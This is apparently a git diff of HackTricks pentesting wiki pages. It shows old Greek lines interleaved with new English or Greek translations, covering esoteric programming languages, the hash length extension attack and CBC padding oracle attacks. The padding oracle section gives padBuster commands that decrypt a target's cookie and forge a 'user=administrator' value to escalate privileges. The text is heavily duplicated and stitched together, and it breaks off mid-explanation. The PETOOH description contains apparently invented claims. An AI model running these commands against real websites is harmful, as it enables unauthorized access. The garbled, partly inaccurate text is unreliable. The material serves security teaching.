<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
Ελέγξτε αυτό το wiki για να αναζητήσετε περισσότερες εξωτικές γλώσσες
Ελέγξτε αυτή τη wiki για να αναζητήσετε περισσότερες εσωτερικές γλώσσες
## Malbolge
```
@ -25,7 +28,7 @@
## npiet
![](<../.gitbook/assets/image (146).png>)
![](<../.gitbook/assets/image (691).png>)
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
@ -60,15 +63,7 @@ Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
Η γλώσσα PETOOH είναι μια εξωτική γλώσσα προγραμματισμού που βασίζεται στην ιδέα της μετατροπής των λέξεων σε ζώα. Ο κώδικας PETOOH αποτελείται από μια σειρά λέξεων που αντιστοιχούν σε διάφορες ενέργειες και εντολές. Κάθε λέξη αντιστοιχεί σε έναν αριθμό, ο οποίος αναπαριστά τη θέση της λέξης στο λεξικό της γλώσσας PETOOH.
Η γλώσσα PETOOH είναι γνωστή για την περίπλοκη σύνταξή της και την ασυνήθιστη δομή των εντολών της. Ο κώδικας PETOOH μπορεί να είναι δύσκολος στην ανάγνωση και την κατανόηση, καθώς χρησιμοποιεί μια μοναδική γραφή και σύνταξη.
Παρά την περιπλοκότητά της, η γλώσσα PETOOH μπορεί να χρησιμοποιηθεί για την υλοποίηση διάφορων αλγορίθμων και προγραμμάτων. Οι προγραμματιστές μπορούν να χρησιμοποιήσουν τη γλώσσα PETOOH για να κρυπτογραφήσουν κώδικα ή να δημιουργήσουν προγράμματα με εξωτική και πρωτότυπη λειτουργικότητα.
Για να κατανοήσετε και να χρησιμοποιήσετε τη γλώσσα PETOOH, θα πρέπει να εξοικειωθείτε με το λεξικό της γλώσσας και να κατανοήσετε τη σύνταξη και τη δομή των εντολών της. Μελετώντας παραδείγματα και προγράμματα που έχουν γραφεί σε PETOOH, μπορείτε να αποκτήσετε μια καλύτερη κατανόηση της γλώσσας και να αναπτύξετε τις δικές σας δεξιότητες προγραμματισμού σε PETOOH.
## ΠΕΤΟΥΧ
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -78,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,88 +1,90 @@
# Επίθεση με Επέκταση Μήκους Hash
# Hash Length Extension Attack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξει αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
Ο βασικός στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
***
## Σύνοψη της επίθεσης
## Summary of the attack
Φανταστείτε ένα διακομιστή που **υπογράφει** κάποια **δεδομένα** με το **προσάρτημα** ενός **μυστικού** σε κάποια γνωστά δεδομένα και στη συνέχεια κατακερματίζει αυτά τα δεδομένα. Αν γνωρίζετε:
Φανταστείτε έναν διακομιστή που **υπογράφει** κάποια **δεδομένα** προσθέτοντας ένα **μυστικό** σε κάποια γνωστά δεδομένα καθαρού κειμένου και στη συνέχεια κατακερματίζοντας αυτά τα δεδομένα. Αν γνωρίζετε:
* **Το μήκος του μυστικού** (αυτό μπορεί επίσης να αναζητηθεί με βρόχο από ένα δεδομένο εύρος μήκους)
* **Τα καθαρά δεδομένα**
* **Τον αλγόριθμο (και την ευπάθειά του σε αυτήν την επίθεση)**
* **Η γέμιση είναι γνωστή**
* Συνήθως χρησιμοποιείται μια προεπιλεγμένη, οπότε αν πληρούνται τα άλλα 3 απαιτήσεις, αυτή επίσης είναι
* Η γέμιση ποικίλλει ανάλογα με το μήκος του μυστικού+δεδομένων, γι' αυτό χρειάζεται το μήκος του μυστικού
* **Το μήκος του μυστικού** (αυτό μπορεί επίσης να βρεθεί με brute force από μια δεδομένη περιοχή μήκους)
* **Τα δεδομένα καθαρού κειμένου**
* **Ο αλγόριθμος (και είναι ευάλωτος σε αυτή την επίθεση)**
* **Η προσθήκη είναι γνωστή**
* Συνήθως χρησιμοποιείται μια προεπιλεγμένη, οπότε αν πληρούνται οι άλλες 3 απαιτήσεις, αυτό ισχύει επίσης
* Η προσθήκη ποικίλλει ανάλογα με το μήκος του μυστικού + δεδομένα, γι' αυτό χρειάζεται το μήκος του μυστικού
Τότε, είναι δυνατό για έναν **εισβολέα** να **προσαρτήσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + τα προσαρτημένα δεδομένα**.
Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προστιθέμενα δεδομένα**.
### Πώς;
### How?
Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τα κατακερματισμένα δεδομένα αρχικά με το **κατακερματισμό ενός τμήματος δεδομένων**, και στη συνέχεια, **από** το **προηγουμένως** δημιουργημένο **κατακερματισμένο δεδομένο** (κατάσταση), **προσθέτουν το επόμενο τμήμα δεδομένων** και το **κατακερματίζουν**.
Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τους κατακερματισμούς πρώτα **κατακερματίζοντας ένα μπλοκ δεδομένων**, και στη συνέχεια, **από** τον **προηγουμένως** δημιουργημένο **κατακερματισμό** (κατάσταση), **προσθέτουν το επόμενο μπλοκ δεδομένων** και **το κατακερματίζουν**.
Στη συνέχεια, φανταστείτε ότι το μυστικό είναι "μυστικό" και τα δεδομένα είναι "δεδομένα", το MD5 του "μυστικόδεδομένα" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\
Αν ένας εισβολέας θέλει να προσαρτήσει τη συμβολοσειρά "προσάρτηση" μπορεί:
Τότε, φανταστείτε ότι το μυστικό είναι "secret" και τα δεδομένα είναι "data", το MD5 του "secretdata" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\
Αν ένας επιτιθέμενος θέλει να προσθέσει τη συμβολοσειρά "append" μπορεί να:
* Να δημιουργήσει ένα MD5 από 64 "Α"
* Να αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμένου σε 6036708eba0d11f6ef52ad44e8b74d5b
* Να προσαρτήσει τη συμβολοσειρά "προσάρτηση"
* Να ολοκληρώσει τον κατακερματισμό και το τελικό κατακερματισμένο θα είναι ένα **έγκυρο για το "μυστικό" + "δεδομένα" + "γέμισμα" + "προσάρτηση"**
* Δημιουργήσει ένα MD5 από 64 "A"s
* Αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμού σε 6036708eba0d11f6ef52ad44e8b74d5b
* Προσθέσει τη συμβολοσειρά "append"
* Ολοκληρώσει τον κατακερματισμό και ο προκύπτων κατακερματισμός θα είναι **έγκυρος για "secret" + "data" + "padding" + "append"**
### **Εργαλείο**
### **Tool**
{% embed url="https://github.com/iagox86/hash_extender" %}
### Αναφορές
### References
Μπορείτε να βρείτε αυτήν την επίθεση καλά εξηγημένη στο [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
Μπορείτε να βρείτε αυτή την επίθεση καλά εξηγημένη στο [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξει αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
Ο βασικός στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Padding Oracle
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## CBC - Cipher Block Chaining
Στη λειτουργία CBC, το **προηγούμενο κρυπτογραφημένο μπλοκ χρησιμοποιείται ως IV** για το XOR με το επόμενο μπλοκ:
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
Για να αποκρυπτογραφηθεί το CBC γίνονται οι **αντίθετες** **λειτουργίες**:
To decrypt CBC the **opposite** **operations** are done:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
Παρατηρήστε ότι απαιτείται η χρήση ενός **κλειδιού κρυπτογράφησης** και ενός **IV**.
Notice how it's needed to use an **encryption** **key** and an **IV**.
## Προσθήκη Μηνύματος
## Message Padding
Καθώς η κρυπτογράφηση γίνεται σε **σταθερά μπλοκ μεγέθους**, συνήθως απαιτείται **προσθήκη μηνύματος** στο **τελευταίο μπλοκ** για να ολοκληρωθεί το μήκος του.\
Συνήθως χρησιμοποιείται το **PKCS7**, το οποίο δημιουργεί μια προσθήκη που **επαναλαμβάνει** τον **αριθμό των bytes που απαιτούνται** για να **ολοκληρωθεί** το μπλοκ. Για παράδειγμα, αν το τελευταίο μπλοκ λείπουν 3 bytes, η προσθήκη θα είναι `\x03\x03\x03`.
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
Ας δούμε περισσότερα παραδείγματα με **2 μπλοκ μήκους 8bytes**:
Let's look at more examples with a **2 blocks of length 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -40,51 +41,43 @@
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Παρατηρήστε πώς στο τελευταίο παράδειγμα το **τελευταίο μπλοκ ήταν γεμάτο, οπότε δημιουργήθηκε ένα ακόμα μόνο με προσθήκη**.
Note how in the last example the **last block was full so another one was generated only with padding**.
## Padding Oracle
Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, πρώτα θα αποκρυπτογραφήσει τα δεδομένα και στη συνέχεια θα αφαιρέσει την προσθήκη. Κατά τη διάρκεια της αφαίρεσης της προσθήκης, εάν μια **μη έγκυρη προσθήκη προκαλέσει μια ανιχνεύσιμη συμπεριφορά**, τότε έχετε μια **ευπάθεια padding oracle**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, έλλειψη αποτελεσμάτων ή **αργότερη απόκριση**.
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
Εάν ανιχνεύσετε αυτήν τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμα και να **κρυπτογραφήσετε οποιοδήποτε καθαρό κείμενο**.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
### Πώς να εκμεταλλευτείτε
Μπορείτε να χρησιμοποιήσετε το [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) για να εκμεταλλευτείτε αυτού του είδους την ευπάθεια ή απλά να κάνετε
### How to exploit
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
```
sudo apt-get install padbuster
```
Για να ελέγξετε αν το cookie ενός ιστότοπου είναι ευάλωτο, μπορείτε να δοκιμάσετε:
Για να δοκιμάσετε αν το cookie μιας ιστοσελίδας είναι ευάλωτο, θα μπορούσατε να δοκιμάσετε:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Encoding 0** σημαίνει ότι χρησιμοποιείται το **base64** (αλλά υπάρχουν και άλλες επιλογές, ελέγξτε το μενού βοήθειας).
**Η κωδικοποίηση 0** σημαίνει ότι χρησιμοποιείται **base64** (αλλά υπάρχουν και άλλες διαθέσιμες, ελέγξτε το μενού βοήθειας).
Μπορείτε επίσης **να καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα**. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**\_**user=MyUsername**\_**" και μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να αναβαθμίσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας το `padbuster` και καθορίζοντας την παράμετρο **-plaintext**:
Μπορείτε επίσης να **καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**_**user=MyUsername**_**", τότε μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να κλιμακώσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας το `paduster` καθορίζοντας την παράμετρο -plaintext**:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
Εάν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει το σφάλμα στο padding, αλλά μπορείτε επίσης να το υποδείξετε χρησιμοποιώντας την παράμετρο **-error** και το μήνυμα σφάλματος.
Αν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει το σφάλμα padding, αλλά μπορείτε επίσης να υποδείξετε το μήνυμα σφάλματος χρησιμοποιώντας την παράμετρο **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### Η θεωρία
Συνοψίζοντας, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργηθούν όλα τα διάφορα paddings. Στη συνέχεια, η επίθεση με padding oracle θα αρχίσει να αποκρυπτογραφεί τα bytes από το τέλος προς την αρχή, μαντεύοντας ποια θα είναι η σωστή τιμή που δημιουργεί ένα padding του 1, 2, 3, κλπ.
Συνοπτικά, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργήσουν όλα τα διαφορετικά padding. Στη συνέχεια, η επίθεση padding oracle θα αρχίσει να αποκρυπτογραφεί τα bytes από το τέλος προς την αρχή μαντεύοντας ποια θα είναι η σωστή τιμή που δημιουργεί ένα padding 1, 2, 3, κ.λπ.
![](<../.gitbook/assets/image (629) (1) (1).png>)
![](<../.gitbook/assets/image (561).png>)
Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει 2 blocks που αποτελούνται από τα bytes από το E0 έως το E15.\
Για να αποκρυπτογραφήσετε το τελευταίο block (E8 έως E15), ολόκληρο το block περνά από την "αποκρυπτογράφηση του block cipher" δημιουργώντας τα ενδιάμεσα bytes I0 έως I15.\
Τέλος, κάθε ενδιάμεσο byte γίνεται XOR με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι:
